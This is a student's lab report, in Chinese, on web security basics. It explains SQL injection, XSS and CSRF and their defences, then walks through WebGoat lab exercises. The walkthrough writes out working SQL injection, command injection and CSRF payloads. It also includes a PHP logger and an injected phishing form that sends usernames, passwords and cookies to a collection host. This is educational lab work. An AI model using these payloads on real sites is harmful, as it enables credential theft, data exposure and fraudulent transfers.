20145320周岐浩 web安全基础实践
一.实验后回答问题
（1）SQL注入攻击原理，如何防御
一、SQL注入攻击原理
SQL注入攻击值得是通过构建特殊的输入作为参数传入web应用程序，而这些输入大都是SQL语法里的一下组合，
通过执行SQL语句进执行攻击者所要的操作，其主要原因是程序没有细致的过滤用户输入的数据，致使非法数据侵入系统。
二、SQL注入的产生原因
不当的类型处理，不安全的数据库配置， 不合理的查询集处理， 不当的错误处理， 转义字符处理不合适， 多个提交处理不当
三、SQL注入方法一般有两种：
方法一：采用直接猜表名和列名的方法或者是利用报错信息来确定表明和列名
And (Select count(*) from 要猜的表名)<>0
And (Select count(要猜的列名) from 已知的表名)<>0
注意：<>在sql中是不等于，结果若返回正确则猜的表名和列名是正确的
方法二：后台身份验证绕过漏洞
此方法利用的就是AND和OR的运算规则，从而造成后台脚本逻辑性错误
若后台的查询语句为sql='select admin from t_admin where user='request("user")' and passwd='request("user")';
但输入用户名密码若为 'or 'a'='a'，那么查询语句就变成了select admin from t_admin where user=''or 'a'='a' and passwd=''or 'a'='a';
这里就变成了四个查询语句即： 假 or 真 and 假 or 真, 先算and再算or，就变成： 假or 假 or真，结果为真，就能直接接入后台了。
！！不过要想用这种方法进行攻击，必须具备一个条件：是这种用户名和密码在一个查询语句中。 或者可以 'or 1=1 --将后面的语句注释掉 (--为sql注释符)
四、简单的SQL注入防御方法：
-
1、首先要对输入的数据进行过滤，将常见的sql语句的关键词：select or ' " 等字符进行过滤。
-
2、对在数据库中对密码进行加密，验证登陆的时候先将 密码进行加密再与数据库中加密的密码进行对比，若此时一致则基本是安全的。
-
3、对数据库中密码采用常用的MD5加密时尽量在字符串的前边和后边加上指定字符后在进行加密，这样即便是看到了数据库也很难破解密码。
（2）XSS攻击的原理，如何防御
一、XSS攻击原理
XSS是什么？它的全名是：Cross-site scripting，为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
XSS攻击的主要目的则是，想办法获取目标攻击网站的cookie，因为有了cookie相当于有了seesion，有了这些信息就可以在任意能接进互联网的pc登陆该网站，并以其他人的生份登陆，做一些破坏。预防措施，防止下发界面显示html标签，把</>等符号转义
二、防御措施
当恶意代码值被作为某一标签的内容显示：在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤，将其转化为不被浏览器解释执行的字符。
当恶意代码被作为某一标签的属性显示，通过用 “将属性截断来开辟新的属性或恶意方法：属性本身存在的 单引号和双引号都需要进行转码；对用户输入的html 标签及标签属性做白名单过滤，也可以对一些存在漏洞的标签和属性进行专门过滤。
（3）XSRF攻击原理，如何防御
一.XSRF是什么？
XSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF。
二.XSRF可以做什么？
你这可以这么理解XSRF攻击：攻击者盗用了你的身份，以你的名义发送恶意请求。XSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。
三.XSRF漏洞现状
XSRF这种攻击方式在2000年已经被国外的安全人员提出，但在国内，直到06年才开始被关注，08年，国内外的多个大型社区和交互网站分别爆出XSRF漏洞，如：NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站），YouTube和百度HI......而现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称XSRF为“沉睡的巨人”。
四.XSRF的原理
下图简单阐述了XSRF攻击的思想：
从上图可以看出，要完成一次XSRF攻击，受害者必须依次完成两个步骤：
1.登录受信任网站A，并在本地生成Cookie。
2.在不登出A的情况下，访问危险网站B。
五.XSRF的防御
我总结了一下看到的资料，XSRF的防御可以从服务端和客户端两方面着手，防御效果是从服务端着手效果比较好，现在一般的XSRF防御也都在服务端进行。
服务端的XSRF方式方法很多样，但总的思想都是一致的，就是在客户端页面增加伪随机数。
(1).Cookie Hashing(所有表单都包含同一个伪随机值)：
这可能是最简单的解决方案了，因为攻击者不能获得第三方的Cookie(理论上)，所以表单中的数据也就构造失败了:在表单里增加Hash值，以认证这确实是用户发送的请求。然后在服务器端进行Hash值验证
(2).验证码
这个方案的思路是：每次的用户提交都需要用户在表单中填写一个图片上的随机字符串。
(3).One-Time Tokens(不同的表单包含一个不同的伪随机值)
在实现One-Time Tokens时，需要注意一点：就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单，XSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况：用户只能成功地提交他最后打开的表单，因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保XSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。
二、实验过程
1、webgoat开启
1）开启webgoat，打开WebGoat：java -jar webgoat-container-7.0.1-war-exec.jar(请使用你的Tab键)
页面会停在这里，将此界面最小化（不要关闭）
2）在浏览器输入localhost:8080/WebGoat(注意"WebGoat"大小写敏感)，进入webgoat（用户名和密码默认便可）
2、SQL练习
SQL字符串注入（String SQL Injection）
先找到String SQL Injection的练习
点击后看到如下题目
题目大意是：这个表单允许使用者查询他们的信用卡号，使用SQL注入让所有的信用卡号都看得见。
首先试试Smith
查询出什么结果我并不关心，我关心的输入的去哪了。可以看见我输入的Smith在两个单引号之间。这就好办了，我现在要做的是让这个语句中的WHERE这个条件语句失效，怎么做呢？
我们都知道 a or 1 不管a是真或假最后输出都是1，只有我们构造一个永真式“1”，那么不管前面的WHERE是否成立都能执行！
所以我这里构造语句'or 1='1,成功得到了全部的信用卡号，我们为什么要这么构造呢？第一个分号用来闭合last_name的第一个分号，而第二个分号用来闭合last_name的第二个分号。这样一条语句被强行拆分成为两条语句！
数字型SQL注入（Numeric SQL Injection）
这次我们选择尝试挑战一下Numeric SQL Injection、
题目大意是这个表单允许使用者看到天气数据，利用SQL注入使得可以看见所有数据！
乍眼一看这个都是选项根本没办法输入，我们该如何进行SQL注入，换句话说我该从哪里注入啊。。。
嘿嘿，既然无法在前端注入，那就从捕获包中修改！！
启动BurpSuite
设置代理“Proxy”的“Options”选项
默认是8080端口被占用时需要添加一个新的端口8888，点击add
添加后勾选，如图所示
设置浏览器的代理
打开浏览器右侧的“更多”选项卡，找到preference-advanced-settings
其实相当于将burpsuite当成中间服务器，每个数据包都流过它。
设置好之后回到题目，任意选择一项，点击GO，然后回到burpsuite。发现多了捕获的包：
右键send to repeater ，我们修改station值从为101 为 101 or 1=1,点击GO，可以看到右边response包中的SQL语句为
SELECT * FROM weather_data WHERE station = 101 or 1=1正好是我们想要的。
回到Proxy中点击Intercept is on对剩下的包不作处理，回到火狐发现已经成功
注意提醒一下大家，在关闭了burpsuite之后，把浏览器的代理调回不使用代理，不然浏览器上不了网哦
命令注入（Command Injection）
看下题目：
命令行注入攻击是个严重的威胁。。尝试给操作系统注入命令行。。
好懂了！就是注入命令行，乍一看没有任何注入的地方，所以使用burpsuite注入！
我们对第一个包send to Repeater分析一下：
先正常点GO看看数据都提交到什么地方
我们发现可改部分是使用了命令行cat语句，这样我们就有机可乘，注入我们的命令行！！
我注入的命令是AccessControlMatrix.help"&&ifconfig"，解释一下，前面是原来的正常命令。而&&在命令行中是执行另外一条语句，最后一个双引号用来封闭原来的双引号!再次点击GO发现执行了ifconfig语句
回到webgoat，虽然没有发现ifconfig的内容，但是显示成功！
盲数字注入（Blind Numeric SQL Injection）
先看下题目：
目标是得到一个存放在pins表中值pin的内容，行号cc_number=1111222233334444，是一个int型的数据！
我们首先尝试默认的101，发现显示Account number is valid，说明这个是真！这个很重要，说明我们可以构造AND XXXX 语句来进行注入，用于判断后面的语句是否为真！
先确定pin值的范围,构造
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
合法，说明pin值大于100
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
不合法说明小于10000
确定了上下界之后每次使用二分法就可以得到结果了！答案为2364！！自己试试吧，用burpsuite试起来比较简单。
盲字符串注入（Blind String SQL Injection）
大家可以参照余佳源学长的博客20135321_余佳源_07_SQL注入原理与实践，原理和上一题基本一样，只不过这个只是从猜数字变成了猜ascii对应的字符罢了！
LAB：SQL Injection
Stage 1：String SQL Injection
看下题：
使用字符串SQL注入在没有正确密码的情况下登录账号boss
尝试在密码框中输入我们的老套路...（自己试试这里不写了）
Stage 2：Parameterized Query #1
本实验只在WEBGOAT的开发版本上完成，跳过！！
Stage 3：Numeric SQL Injection
看下题目：
该课程的目的是通过注入语句，浏览到原本无法浏览的信息。通过一个普通员工的账户larry，浏览其BOSS的账户信息。
首先先字符串注入登录Larry的账号！在密码框里输入老套路，登录后发现我们只能看见Larry一个人的工资信息
这时我们要看boss的信息就要注入了！使用burpsuite对我们提交的信息进行修改
这里是按员工编号进行查询首先我们把截获的包进行初步的修改，把101改成112（boss的编号）
但是报错
再次修改为112 or 1= 1，这次成功了输出信息，但是还是Larry的信息，我猜这里应该是将最首位的信息输出。那么这次我们可以对信息进行排序让他排在首位。用社会工程学解释老板应该是工资最高的，所以为了把老板排到第一个SQL注入排序如下：
112 or 1=1 order by salary desc
我们成功的看到了boss的信息！
Stage 4：Parameterized Query #2
本实验只在WEBGOAT的开发版本上完成，跳过！！
3、XSS练习
跨站脚本钓鱼攻击(Phishing with XSS)
看一下要求：关于一个页面中存在XSS漏洞时，他如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。
再看一下hints：
根据提示我制造一个钓鱼网站imgsrc.php，作用就是将传来的三个参数（username、password、cookie）保存到lyd.log中
imgsrc.php
<!DOCTYPE html>
<html>
<body>
<?php
echo " PHP 脚本！";
$uname=($_GET["username"]);
$pwd=($_GET["password"]);
$ck=($_GET["ck"]);
$myfile = fopen("lyd.log", "a") or die("Unable to open file!");
fprintf($myfile,"username：");
fwrite($myfile, $uname);
fprintf($myfile,"
");
fprintf($myfile,"password：");
fwrite($myfile, $pwd);
fprintf($myfile,"
");
fprintf($myfile,"cookie：");
fwrite($myfile, $ck);
fprintf($myfile,"
");
fclose($myfile);
/*
system("echo `date`:".$uname.".".$pwd.".".$ck." >> /var/www/html/lyd.log");
*/
?>
</body>
</html>
然后编写前端代码，在输入框中注入这段前端代码会将提示用户输入账号口令从而完成钓鱼攻击！
<script>
function hack(){
str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie;
str2="http://127.0.0.1:5320/imgsrc.php?" + str;
XSSImage=new Image;
XSSImage.src=str2;
alert(str2);
}
</script>
</form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="submit" value="Login" onclick="hack()"><br>
</form><br><br><HR>
伪装的表单骗用户输入数据！登陆后看看lyd.log里面的内容！
完成了钓鱼！
反射型XSS（Reflected XSS Attacks）
看题目要求：....没有什么要求只有介绍，不翻译了（英语硬伤，只能自己看懂）
使用burpsuite发现，UpdateCart Purchase均以post提交数据，但在Enter your credit card number:以及Enter your three digit access code:处的值均被post原样返回，所以可以在此处构造js语言。
<SCRIPT>alert(document.cookie);</SCRIPT>
得到cookies！
储存型XSS（Stored XSS Attakcs）
这里相当于是给用户发一个信息，用户在打开这个信息的时候触发了隐藏在信息里面js代码，然后被盗走了cookies。
我们构造语句：
<script>alert(document.cookie);</script>
点击20145320！
这里只是使用弹窗来说明cookies可以被盗走，可以把cookies作为php的输入，然后盗走！
4、XSCF练习
CSRF
先看一下要求：
大意是：你的目标是发一个email给newsgroup，内容包括一个有恶意URL请求的图片。URL要指向“attack”（包含参数“Screen”和“Menu”，还有一个额外参数“transferFunds”）。当收到含有CSRF页面的邮件时，就会执行transferFunds！
做题还要兼职翻译，心很累。
反正就是给别人发个邮件，其中有个包含XSRF页面恶意请求的图像，但是这个图像又要隐藏！
所以根据题目要求我们伪装这样一条语句：
<img src='！attack?Screen=！&menu=！&transferFunds=！' width='1' height='1'>
现在要确定的是四个感叹号的值：
第一个要输入的是哪个网站的attack，这里由于指向本网址，所以可以不填。
第二、三个感叹号值需要在网站里面寻找
第四个感叹号是你让被攻击者想转多少钱，根据题目要求这里选了5000！
我们在下面构造邮件
留点悬念大家自己做做试试。
提交后在下面的Message List里面可以看我刚刚发送的邮件
点击后就执行了<img src='!attack?Screen=!&menu=!&transferFunds=!' width='1' height='1'>这个代码，被攻击者就会给你转钱了！
我们需要理解这个练习是如何让我们学会XSRF，用户在通过身份认证登录银行的网站A时，浏览器拿到了银行网站的cookies。接下来用户在A网站开着的情况下访问了B网站，这个B网站隐藏在图片里面，而图片又是不可见的，隐藏在Message里面。说明用户在不知情的情况下打开了邮件，顺便打开了B网站！B网站给A网站发送恶意请求，在A网站还开着的情况下，浏览器会误以为是用户发送请求，然后就会带着cookies和B网站发送的请求（例如转钱等）访问A网站执行！
CSRF Prompt By-pass
看下题目要求：
和上一个教材相似，发个邮件给newsgrooup，包含两个恶意请求：一个是转钱的金额，另一个是确认转账。。。后面的给个眼神自己体会吧
这次的邮件要包括两条语句！但是参数都是不变的，大家自己手敲一下吧，不然来得太简单了
换汤不换药，点击20145320就完成了转账和转账确认！
CSRF Token By-Pass
例行看题：
与CSRF课程类似，您的目标是给新闻组发送包含恶意请求的Email实现资金转账。为了成功完成欺骗，您需要获得一个验证请求Token。显示转账表单的URL类似于CSRF课程中使用的外部参数”transferFunds=main"。载入该页面，读取Token并追加到伪造请求中以实现资金转账。
我构造了这样的注入代码，获得token，但是没有看到successfully。